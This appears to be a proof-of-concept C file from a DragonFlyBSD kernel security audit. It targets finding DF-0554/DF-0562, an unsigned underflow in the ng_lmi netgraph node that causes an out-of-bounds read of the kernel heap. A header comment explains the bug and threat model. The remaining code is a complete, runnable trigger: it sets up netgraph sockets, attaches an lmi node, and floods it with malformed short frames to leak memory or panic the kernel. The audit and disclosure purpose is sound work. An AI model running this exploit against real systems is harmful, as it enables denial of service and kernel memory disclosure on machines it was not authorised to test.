DragonFlyBSD Kernel Audit
DF-0554 / df0554.c
← back to finding ↓ download raw
/*
 * DF-0554 / DF-0562  -- ng_lmi STEPBY unsigned-underflow heap OOB read
 *
 * sys/netgraph/lmi/ng_lmi.c (shipped) and the twin sys/netgraph7/lmi/ng_lmi.c:
 *   - LMI_MIN_LENGTH=8 is defined (:88) but NEVER enforced.
 *   - nglmi_checkdata derefs fixed header bytes unconditionally and runs
 *     `STEPBY(1)` (:766/:792/:800/:815) which is
 *           packetlen -= stepsize; data += stepsize;
 *     with NO underflow guard.
 *   - packetlen is `u_short` (:750), so subtracting past 0 wraps to 0xFFFF.
 *   - The IE loop `while (packetlen >= 2)` (:850) then iterates ~65535
 *     times, reading data[0..] far past the mbuf into adjacent kernel heap.
 *
 * Threat model: this code path runs whenever an ng_lmi node receives a frame
 * on a non-debug hook (annexA/annexD/group4/auto*).  In production that
 * hook is fed by ng_frame_relay/ng_cisco/ng_rfc1490, which in turn receive
 * from a serial line -- so the realistic attacker is a remote FR peer that
 * sends a malformed LMI frame.  Locally, anyone with write access to a
 * hook that feeds the lmi node can also trigger it (e.g. an admin-exported
 * ng_socket data hook).  For the audit we run as root to stand in for the
 * remote attacker (PF_NETGRAPH control sockets are root-only in DragonFly;
 * the bug class is heap OOB-read/DoS, not local priv-esc).
 *
 * Build:  cc -o df0554 df0554.c
 * Run:    ./df0554
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>
#include <netgraph/lmi/ng_lmi.h>

#define NG_CONTROL 2
#define NG_DATA    1

struct ng_mesg_buf {
    struct ng_mesg hdr;
    char data[256];
};

static int
ng_send_cmd(int cs, const char *path,
            u_int32_t cookie, u_int32_t cmd,
            const void *arg, size_t arglen)
{
    struct ng_mesg_buf m;
    struct sockaddr_ng dst;
    size_t total = sizeof(m.hdr) + arglen;
    if (arglen > sizeof(m.data)) return -1;

    memset(&m, 0, sizeof(m));
    m.hdr.header.version = NG_VERSION;
    m.hdr.header.typecookie = cookie;
    m.hdr.header.cmd = cmd;
    m.hdr.header.arglen = arglen;
    snprintf(m.hdr.header.cmdstr, sizeof(m.hdr.header.cmdstr), "cmd%u", cmd);
    if (arglen) memcpy(m.hdr.data, arg, arglen);

    memset(&dst, 0, sizeof(dst));
    dst.sg_family = AF_NETGRAPH;
    dst.sg_len = sizeof(dst);
    strncpy(dst.sg_data, path, sizeof(dst.sg_data)-1);

    return sendto(cs, &m, total, 0,
                  (struct sockaddr *)&dst, dst.sg_len);
}

static int
ng_mkpeer(int cs, const char *path, const char *type,
          const char *ourhook, const char *peerhook)
{
    struct ngm_mkpeer mk;
    memset(&mk, 0, sizeof(mk));
    strncpy(mk.type, type, sizeof(mk.type)-1);
    strncpy(mk.ourhook, ourhook, sizeof(mk.ourhook)-1);
    strncpy(mk.peerhook, peerhook, sizeof(mk.peerhook)-1);
    return ng_send_cmd(cs, path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
}

int
main(void)
{
    int cs, ds, rc;
    struct sockaddr_ng addr;
    unsigned char buf[8];
    int i, count;

    cs = socket(PF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
    if (cs < 0) { perror("socket(control)"); return 2; }

    /* bind control socket to a name so data socket can find it */
    memset(&addr, 0, sizeof(addr));
    addr.sg_family = AF_NETGRAPH;
    addr.sg_len = 2 + strlen("df0554ctl") + 1;
    strcpy(addr.sg_data, "df0554ctl");
    if (bind(cs, (struct sockaddr *)&addr, addr.sg_len) < 0) {
        perror("bind(control)"); return 2;
    }
    printf("[+] bound control socket to name 'df0554ctl'\n");

    /* data socket, connected to the control socket's node */
    ds = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
    if (ds < 0) { perror("socket(data)"); return 2; }
    memset(&addr, 0, sizeof(addr));
    addr.sg_family = AF_NETGRAPH;
    addr.sg_len = 2 + strlen("df0554ctl") + 1;
    strcpy(addr.sg_data, "df0554ctl");
    if (connect(ds, (struct sockaddr *)&addr, addr.sg_len) < 0) {
        perror("connect(data)"); return 2;
    }
    printf("[+] data socket connected to 'df0554ctl'\n");

    /* mkpeer an lmi node off our control node:
     *   our hook = "annexA"  (on our socket node)
     *   peer hook = "annexA" (on new lmi node)
     * connecting annexA triggers nglmi_startup_fixed -> SCF_CONNECTED
     */
    if (ng_mkpeer(cs, ".", "lmi", "annexA", "annexA") < 0) {
        fprintf(stderr, "mkpeer(lmi annexA) failed: %s\n", strerror(errno));
        return 2;
    }
    printf("[+] created lmi peer; control node hook 'annexA' -> lmi:annexA\n");

    count = 64;
    printf("[*] sending %d x 1-byte frames {0x03} -- underflow trigger\n", count);
    buf[0] = 0x03;
    for (i = 0; i < count; i++) {
        ssize_t w = write(ds, buf, 1);
        if (w < 0) { fprintf(stderr, "write 1B #%d: %s\n", i, strerror(errno)); break; }
    }

    printf("[*] sending %d x 2-byte frames {0x03,0x08}\n", count);
    buf[0] = 0x03; buf[1] = 0x08;
    for (i = 0; i < count; i++) write(ds, buf, 2);

    printf("[*] sending %d x 4-byte valid-header frames {0x03,0x08,0x00,0x7D}\n", count);
    buf[0] = 0x03; buf[1] = 0x08; buf[2] = 0x00; buf[3] = 0x7D;
    for (i = 0; i < count; i++) write(ds, buf, 4);

    printf("[*] sending %d x 0-byte frames (extreme underflow)\n", count);
    for (i = 0; i < count; i++) write(ds, buf, 0);

    /* also try a frame with first byte 0x03 + 5 bytes carefully crafted
     * to satisfy the LMI header checks, then a short/no IE body -- this
     * forces packetlen to wrap during IE processing */
    printf("[*] sending %d x 5-byte frames {0x03,0x08,0x00,0x7D,0x09} "
           "(valid header + 1 IE-byte underflow)\n", count);
    buf[0] = 0x03; buf[1] = 0x08; buf[2] = 0x00;
    buf[3] = 0x7D; buf[4] = 0x09;
    for (i = 0; i < count; i++) write(ds, buf, 5);

    printf("[*] done -- check dmesg for nglmi OOB read evidence / panic\n");
    close(cs);
    close(ds);
    return 0;
}